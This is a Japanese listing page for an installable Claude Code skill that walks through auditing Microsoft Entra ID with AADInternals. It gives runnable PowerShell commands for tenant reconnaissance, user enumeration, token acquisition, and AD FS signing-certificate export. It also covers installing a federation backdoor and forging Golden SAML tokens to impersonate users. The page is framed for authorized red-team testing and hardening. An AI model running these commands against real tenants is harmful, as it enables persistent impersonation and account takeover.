mcpField
A
auditing-entra-id-with-aadinternals

auditing-entra-id-with-aadinternals

github.com/mukul975セキュリティ35.2k113 回インストール8 週間前に更新
リポジトリ

auditing-entra-id-with-aadinternals について

AADInternalsを使い、Microsoft Entra ID、Azure AD Connect、AD FSの露出を評価するセキュリティテスト用スキルです。防御的な検証として、偵察、トークンとディレクトリの確認、管理されたフェデレーションテストを行い、証拠と強化策をまとめます。

主な機能

  1. 01認証不要のテナント偵察
  2. 02Microsoft APIトークンの取得とキャッシュ
  3. 03認証後のディレクトリ列挙
  4. 04フェデレーションとAD FS設定の確認
  5. 05管理されたGolden SAML検証
  6. 06露出状況と強化策の記録

活用シーン

  1. 01書面承認の下でEntra IDまたはMicrosoft 365を評価
  2. 02テナントドメイン、フェデレーション、SSOの露出を記録
  3. 03トークンアクセスとディレクトリの可視性を確認
  4. 04フェデレーション署名キーの保護を評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill auditing-entra-id-with-aadinternals

インストール後、Claude Code で/auditing-entra-id-with-aadinternalsを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

詳細

AADInternals による Entra ID の監査

法的通知: このスキルは、許可を得たセキュリティテスト、レッドチームの活動、教育目的に限って使用してください。AADInternals は SAML トークンを偽造し、テナント内のあらゆるユーザーになりすますための永続的なアクセスを可能にするフェデレーションのバックドアを設置できます。自身が所有するテナント、またはテストを行う明示的な書面による許可(ルール・オブ・エンゲージメント)があるテナントに対してのみ使用してください。許可のない使用は、Computer Fraud and Abuse Act および同等の法律に違反します。

概要

AADInternals は、Microsoft Entra ID(旧 Azure AD)、Azure AD Connect、Active Directory Federation Services(AD FS)向けの、最も包括的な攻撃・管理用 PowerShell ツールキットです。Dr. Nestori Syynimaa(Gerenios / Secureworks)によって作成されました。未認証の外部偵察、あらゆる Microsoft API のアクセストークン取得、ディレクトリの操作、AD FS/PTA への攻撃、そして最もよく知られている手法であるフェデレーションのバックドアなどを対象とする、何百ものコマンドレット(すべて AADInt で始まります)を提供します。この手法は Set-MsolDomainFederationSettings/ConvertTo-AADIntBackdoor の経路を悪用し、フェデレーションドメインの IssuerUri を制御する攻撃者が任意のユーザー向けの SAML トークンを発行できるようにします。これは MITRE ATT&CK の **T1606.002(Web 認証情報の偽造:SAML トークン)**に該当し、SolarWinds(Golden SAML)侵入で使われたものと同じ種類の手法です。

このツールキットは、必要なアクセス権限に応じて機能を分類しています。Invoke-AADIntReconAsOutsider と Get-AADIntLoginInformation は認証情報が不要です。これらはパブリックエンドポイント(getuserrealm、OpenID 構成、自動検出)にクエリを送信し、検証済みドメイン、テナント ID、フェデレーションの種類、ブランド、デスクトップ SSO/シームレス SSO の有効状態を明らかにします。足掛かりを得た場合、Get-AADIntAccessTokenFor* コマンドレットで Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management などのトークンを取得できます。必要に応じてトークンをキャッシュし、後続のコマンドレットで再利用することもできます。グローバル管理者、または同期された AD Connect アカウントの権限があれば、このツールキットでディレクトリのシークレットを読み取り、ユーザーを操作し、フェデレーションのバックドアを設置できます。

このスキルでは、防御的な検証の観点から AADInternals を使用します。外部の攻撃者が把握できる情報、権限の低いトークンで到達できる範囲、フェデレーション/AD FS の構成によって Golden SAML が可能になるかどうかを確認し、その後、証拠と強化に関する推奨事項をまとめます。

使用するタイミング

  • 許可を得た Entra ID/Microsoft 365 のレッドチーム演習や侵害想定評価を行う場合
  • 認証情報への攻撃に先立ち、外部の攻撃対象領域(検証済みドメイン、フェデレーションの種類、SSO)を列挙する場合
  • フェデレーションおよび AD FS のトークン署名証明書が Golden SAML から保護されていることを検証する場合
  • Microsoft のファーストパーティ API 間で、トークンの取得と再利用をテストする場合
  • 検知機能を構築する場合(ブルーチームの Graph ログ調査スキルと組み合わせてください)。実際の AADInternals テレメトリが必要な場合にも使用します

前提条件

  • ID 攻撃とフェデレーションのバックドアのテストを対象とする、書面による許可
  • PowerShell 5.1 以降を実行する Windows ホスト(またはサポート対象の範囲で PowerShell 7)
  • バックドア/フェデレーションのテストでは、対象テナントのグローバル管理者(または同等の権限)が必要です。ROE に基づき、テスト範囲に含まれている必要があります
  • PowerShell Gallery からモジュールをインストールします:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # Cross-platform AsOutsider-only reimplementation (no creds) is also available:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • SAML/WS-Federation、OAuth トークン、Azure AD Connect に関する知識

目標

  • 未認証のテナント偵察を実施し、検証済みドメイン、テナント ID、フェデレーションの種類を列挙する
  • Microsoft のファーストパーティ API 用のアクセストークンを取得し、キャッシュする
  • 認証済みトークンでユーザー/グループ/ロールを列挙する
  • 管理された許可済みの方法で、フェデレーションのバックドア/Golden SAML の経路をテストする
  • 露出状況を記録し、強化に関する推奨事項(トークン署名証明書の保護、フェデレーションの監視)を提示する

MITRE ATT&CK マッピング

IDテクニックこのスキルでの適用
T1606.002Web 認証情報の偽造:SAML トークンConvertTo-AADIntBackdoor と New-AADIntSAMLToken を使用し、制御下のフェデレーション IssuerUri を介して任意のユーザーの SAML トークンを偽造します(Golden SAML)。

関連するテクニック:T1087.004 アカウントの検出:クラウドアカウント(偵察)、T1528 アプリケーションアクセストークンの窃取(トークンの取得)、T1556.007 認証プロセスの変更:ハイブリッド ID(フェデレーション/PTA のバックドア)。

ワークフロー

ステップ 1:認証されていない外部者による偵察

認証情報は不要です。検証済みドメイン、テナント ID、フェデレーションの種類、ブランド、SSO の状態を特定します。

# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"

# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
ステップ 2:外部ユーザーの列挙(任意、ノイズが大きい)

GetCredentialType/autologon エンドポイントを使用して、ユーザー名が存在するかどうかを確認します。

# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
ステップ 3:アクセストークンの取得とキャッシュ

有効な認証情報(または対話型プロンプト)を使用して、必要な API のトークンを取得します。-SaveToCache を指定すると、後続のコマンドレットでトークンが自動的に再利用されます。

# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
ステップ 4:認証済みディレクトリの列挙

キャッシュ済みまたは取得したトークンを使用して、ディレクトリオブジェクトを読み取り、権限を把握します。

# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails

# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
ステップ 5:フェデレーション/AD FS の構成を調査

テナントがフェデレーションドメインを使用しているか、またトークン署名キーがどこに保管されているかを確認します。これは Golden SAML の前提条件です。

# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
ステップ 6:フェデレーションのバックドア/Golden SAML(許可された場合のみ)

既知の IssuerUri を設定してドメインをバックドア化し、そのドメインの ImmutableId を使用して対象ユーザーの SAML トークンを偽造します。明示的な許可を得た管理下のテナントでのみ実施してください。

# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.

# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
ステップ 7:露出状況を記録し、セキュリティを強化

偵察で判明した内容、アクセス可能だったトークン/API、バックドア/Golden SAML の経路が成功したかどうかを正確に記録します。推奨事項:AD FS のトークン署名証明書を保護する(HSM、DKM アクセスの制限)、新規または変更されたフェデレーション信頼を検知する、Set-DomainAuthentication/Set-MsolDomainFederationSettings を監視する、可能であればマネージド(クラウド)認証に移行する。

ツールとリソース

リソース目的ソース
AADInternalsEntra ID/AD FS 攻撃および管理用ツールキットhttps://github.com/Gerenios/AADInternals
AADInternals ドキュメントコマンドレットのリファレンスとテクニックの解説https://aadinternals.com/aadinternals/
AADOutsider-pyクロスプラットフォーム対応の AsOutsider 再実装https://github.com/synacktiv/AADOutsider-py
Golden SAML の背景情報フェデレーションのバックドア手法の解説https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002Web 認証情報の偽造:SAML トークンhttps://attack.mitre.org/techniques/T1606/002/

コマンドレット クイックリファレンス

コマンドレット必要な権限等目的
Invoke-AADIntReconAsOutsiderなし検証済みドメイン、テナント ID、フェデレーションの種類、SSO
Get-AADIntLoginInformationなしドメインのレルム/ログイン情報
Get-AADIntTenantIDなしテナント GUID
Invoke-AADIntUserEnumerationAsOutsiderなしユーザーの存在を確認
Get-AADIntAccessTokenForAADGraph認証情報Azure AD Graph トークン(-SaveToCache)
Get-AADIntAccessTokenForMSGraph認証情報Microsoft Graph トークン
Get-AADIntAccessTokenForEXO認証情報Exchange Online トークン
Get-AADIntUsersトークンディレクトリユーザーを列挙
ConvertTo-AADIntBackdoorグローバル管理者ドメインをフェデレーションのバックドアに変換
New-AADIntSAMLTokenバックドアユーザーの SAML トークンを偽造(Golden SAML)
Open-AADIntOffice365PortalSAML トークン偽装したユーザーとしてポータルセッションを開始

検証基準

  • 外部からの偵察を完了し、ドメイン、テナント ID、フェデレーションの種類を確認して記録した
  • ユーザー列挙をテストした(または対象外として文書化した)
  • 少なくとも 1 つの Microsoft API 用のアクセストークンを取得し、キャッシュした
  • 認証済みのディレクトリ列挙を実施した(ユーザー/ロール、同期されたアカウントを記録した)
  • トークン署名キーの漏えいについて、フェデレーション/AD FS の構成を評価した
  • 許可を得た管理対象テナントでバックドア/Golden SAML の経路をテストした(または対象外として文書化した)
  • 具体的な影響を伴う形でエクスポージャーを文書化した
  • 強化策を提示した(証明書の保護、フェデレーションの監視、マネージド認証への移行)

コメント